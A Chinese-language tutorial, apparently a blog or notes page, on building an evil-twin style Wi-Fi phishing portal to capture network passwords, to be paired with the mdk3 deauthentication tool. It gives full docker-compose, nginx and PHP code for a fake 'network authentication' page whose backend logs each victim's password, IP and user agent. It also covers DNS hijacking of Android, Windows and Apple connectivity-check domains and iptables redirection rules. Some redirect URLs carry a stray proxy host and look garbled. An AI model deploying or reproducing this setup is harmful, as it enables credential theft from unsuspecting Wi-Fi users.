[!NOTE]
前言:当传统渗透测试工具(如Fluxion)因网卡限制无法创建AP时,可利用企业路由器原生门户功能实现更稳定的密码捕获环境
方案预览
[!TIP]
方案一: 企业路由器门户功能+本地nginx服务器 #需要路由器支持,配置简单
方案二: 普通路由器+DNSmasq 服务器+nginx服务器 #兼容性
[!IMPORTANT]
请配合mdk3工具使用

方案一: 企业路由器门户功能+本地服务器(nginx+php)
1.项目结构
wifi-portal/
├── docker-compose.yml
├── nginx/
│ └── default.conf
├── php/
│ └── log_password.php
├── html/ (html文件放这里)
│ └── index.html
└── logs/ 密码输入记录及nginx日志文件存放处
└── auth_attempts.log
2. 修正容器通信配置
更新docker-compose.yml
version: '3.8'
services:
web:
image: nginx:alpine
ports:
- "80:80"
volumes:
- ./nginx/default.conf:/etc/nginx/conf.d/default.conf
- ./html:/var/www/html
- ./php:/var/www/html/api
- ./logs:/var/log/nginx
networks:
- portal_net
depends_on:
- php
php:
image: php:8.2-fpm-alpine
volumes:
- ./php:/var/www/html/api
- ./html:/var/www/html
- ./logs:/var/log
networks:
- portal_net
environment:
- PHP_LOG_ERRORS=On
- PHP_LOG_ERRORS_MAX_LEN=1024
networks:
portal_net:
driver: bridge
关键修改说明:
- 显式声明了
portal_net
网络 - 两个服务都连接到同一网络
- 确保服务名称(
web
/php
)与Nginx配置一致
3. 修正Nginx配置
nginx/default.conf
server {
listen 80;
server_name localhost;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
root /var/www/html;
index index.html;
location / {
try_files $uri $uri/ =404;
}
location /api {
alias /var/www/html/api;
try_files $uri $uri/ /api/log_password.php?$query_string;
location ~ \.php$ {
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $request_filename;
include fastcgi_params;
}
}
}
4. index.html门户页面框架,可自行修改
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<!-- ########## 基础配置区(可修改)########## -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>网络认证系统</title> <!-- 页面标题 -->
<!-- ########## CSS样式区(可自定义)########## -->
<style>
/* 基础重置 */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: "Microsoft YaHei", Arial, sans-serif;
}
/* 主容器样式 */
body {
background-color: #f5f5f5;
color: #333;
}
.container {
width: 100%;
max-width: 400px;
margin: 20px auto;
padding: 20px;
}
/* 登录框样式 */
.login-box {
background: white;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
overflow: hidden;
}
.login-header {
background: #1a73e8; <!-- 顶部栏颜色 -->
color: white;
padding: 15px;
text-align: center;
font-size: 18px;
}
/* 表单元素 */
.form-group {
margin: 15px;
}
.form-group label {
display: block;
margin-bottom: 8px;
font-weight: bold;
}
.form-group input {
width: 100%;
padding: 12px;
border: 1px solid #ddd;
border-radius: 4px;
}
.submit-btn {
background: #1a73e8; <!-- 按钮颜色 -->
color: white;
border: none;
padding: 12px;
width: 100%;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #0d5bba; <!-- 按钮悬停颜色 -->
}
/* 错误提示 */
.error-msg {
color: #d32f2f;
padding: 10px;
text-align: center;
display: none;
}
</style>
</head>
<body>
<!-- ########## 页面结构区(可自由调整)########## -->
<div class="container">
<div class="login-box">
<!-- 标题区 -->
<div class="login-header">
<h2>网络认证</h2> <!-- 标题文字 -->
</div>
<!-- 错误提示区 -->
<div class="error-msg" id="errorMsg">
网络连接异常,请重试
</div>
<!-- 表单区 -->
<form id="authForm">
<div class="form-group">
<label for="username">用户名</label> <!-- 字段名称 -->
<input type="text" id="username" placeholder="请输入账号"> <!-- 占位符 -->
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" placeholder="请输入密码">
</div>
<div class="form-group">
<button type="submit" class="submit-btn">立即认证</button> <!-- 按钮文字 -->
</div>
</form>
</div>
</div>
<!-- ########## JavaScript逻辑区(需修改API地址)########## -->
<script>
document.getElementById('authForm').addEventListener('submit', function(e) {
e.preventDefault();
// 获取表单数据
const formData = {
username: document.getElementById('username').value,
password: document.getElementById('password').value
};
// 显示加载状态
const btn = this.querySelector('button');
btn.disabled = true;
btn.textContent = '认证中...';
// ########## 修改点:替换为你的API地址 ##########
fetch('http://你的服务器IP/api/auth', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(formData)
})
.then(response => response.json())
.then(data => {
if(data.success) {
// 认证成功处理
alert('认证成功!');
} else {
// 显示错误信息
document.getElementById('errorMsg').style.display = 'block';
}
})
.catch(error => {
console.error('Error:', error);
document.getElementById('errorMsg').textContent = '网络连接失败';
document.getElementById('errorMsg').style.display = 'block';
})
.finally(() => {
btn.disabled = false;
btn.textContent = '立即认证';
});
});
</script>
</body>
</html>
5.php脚本
<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
// 获取客户端真实IP
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'unknown';
// 准备日志数据
$logData = [
'date' => date('Y-m-d H:i:s'),
'ip' => $ip,
'password' => json_decode(file_get_contents('php://input'), true)['password'] ?? '',
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
'referer' => $_SERVER['HTTP_REFERER'] ?? ''
];
// 记录到文件
$logFile = '/var/log/auth_attempts.log';
file_put_contents($logFile, json_encode($logData, JSON_UNESCAPED_UNICODE)."\n", FILE_APPEND);
// 返回成功响应
echo json_encode(['status' => 'success']);
?>
6. 创建日志目录
mkdir -p logs
touch logs/auth_attempts.log
7. 启动容器
docker-compose up -d
8. 查看日志
#在RHEL / CentOS / Fedora
yum install -y multitail
#在Debian / Ubuntu / Linux
sudo apt-get install multitail
multitail logs/auth_attempts.log
方案二: 普通路由器+DNSmasq 服务器+nginx+php
可行性分析
- DNS劫持方案:
- ✅ 优点:简单易实现,适合小规模部署
- ❌ 缺点:只能劫持HTTP流量,HTTPS网站会显示证书警告
- ⚠️ 限制:现代浏览器会阻止混合内容
- 更好的替代方案:
- 使用Captive Portal技术(企业路由器标准功能)
- DHCP Option 43/60配合强制门户
- 基于ARP/DHCP的流量拦截
推荐实施方案(基于DNS劫持优化版)
1. DNS服务器配置(dnsmasq)
# 安装dnsmasq
sudo apt install dnsmasq
# 配置文件 /etc/dnsmasq.conf
interface=eth0
listen-address=192.168.1.53
no-dhcp-interface=
no-resolv
server=8.8.8.8
server=8.8.4.4
address=/connectivitycheck.gstatic.com/192.168.1.52
address=/www.msftconnecttest.com/192.168.1.52
address=/captive.apple.com/192.168.1.52
2. 路由器配置
- DHCP设置中将DNS服务器指向您的本地服务器(例如: 192.168.1.53)
- 关闭路由器自带的DNS转发功能
3. Nginx强制门户配置
server {
listen 80;
server_name connectivitycheck.gstatic.com www.msftconnecttest.com captive.apple.com;
location / {
rewrite ^(.*)$ http://192.168.1.52/portal permanent;
}
}
4. 完整工作流程
- 设备连接WiFi → 请求DHCP配置
- 获取到您指定的DNS服务器(192.168.1.53)
- 设备进行网络连通性测试时:
- Android访问
connectivitycheck.gstatic.com
- Windows访问
www.msftconnecttest.com
- iOS访问
captive.apple.com
- Android访问
- DNS服务器返回您的服务器IP(192.168.1.52)
- Nginx 301重定向到认证页面
更专业的实现方案(推荐)
使用Captive Portal技术
# 安装必要的工具
sudo apt install iptables hostapd
# 创建网络命名空间
ip netns add captive
# 设置iptables规则
iptables -t mangle -N captive
iptables -t mangle -A PREROUTING -j captive
iptables -t mangle -A captive -j MARK --set-mark 1
iptables -t nat -A PREROUTING -m mark --mark 1 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.52:80
优化后的DNS配置
# /etc/dnsmasq.conf 追加
dhcp-option=6,192.168.1.53 # 强制分配DNS服务器
dhcp-option=160,http://192.168.1.52/portal # Android Captive Portal提示
各系统兼容性处理
-
Android设备:
server { listen 80; server_name connectivitycheck.gstatic.com; return 204; # 必须返回204才会触发portal页面 }
-
iOS/macOS设备:
server { listen 80; server_name captive.apple.com; return 200 '<HTML><HEAD><TITLE>Success</TITLE></HEAD><BODY>Success</BODY></HTML>'; add_header Content-Type text/html; }
-
Windows设备:
server { listen 80; server_name www.msftconnecttest.com; return 200 '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html><head><title>Microsoft NCSI</title></head><body>Microsoft NCSI</body></html>'; add_header Content-Type text/html; }
检测与调试工具
-
测试DNS解析:
dig @192.168.1.53 connectivitycheck.gstatic.com
-
查看iptables规则:b
iptables -t mangle -L -v -n
-
抓包分析:
tcpdump -i eth0 port 53 or port 80
注意事项
-
HTTPS处理:
- 需要自签名证书并让客户端信任
- 或使用SSL剥离技术(不推荐)
-
法律合规:
- 仅在自己的网络实施
- 添加隐私声明页面
-
日志记录:
log_format portal '$remote_addr - $http_user_agent'; access_log /var/log/nginx/portal.log portal;
这个方案比纯DNS劫持更可靠,能处理各种操作系统的网络检测机制,且不会导致浏览器安全警告。实施时建议先在测试网络验证效果。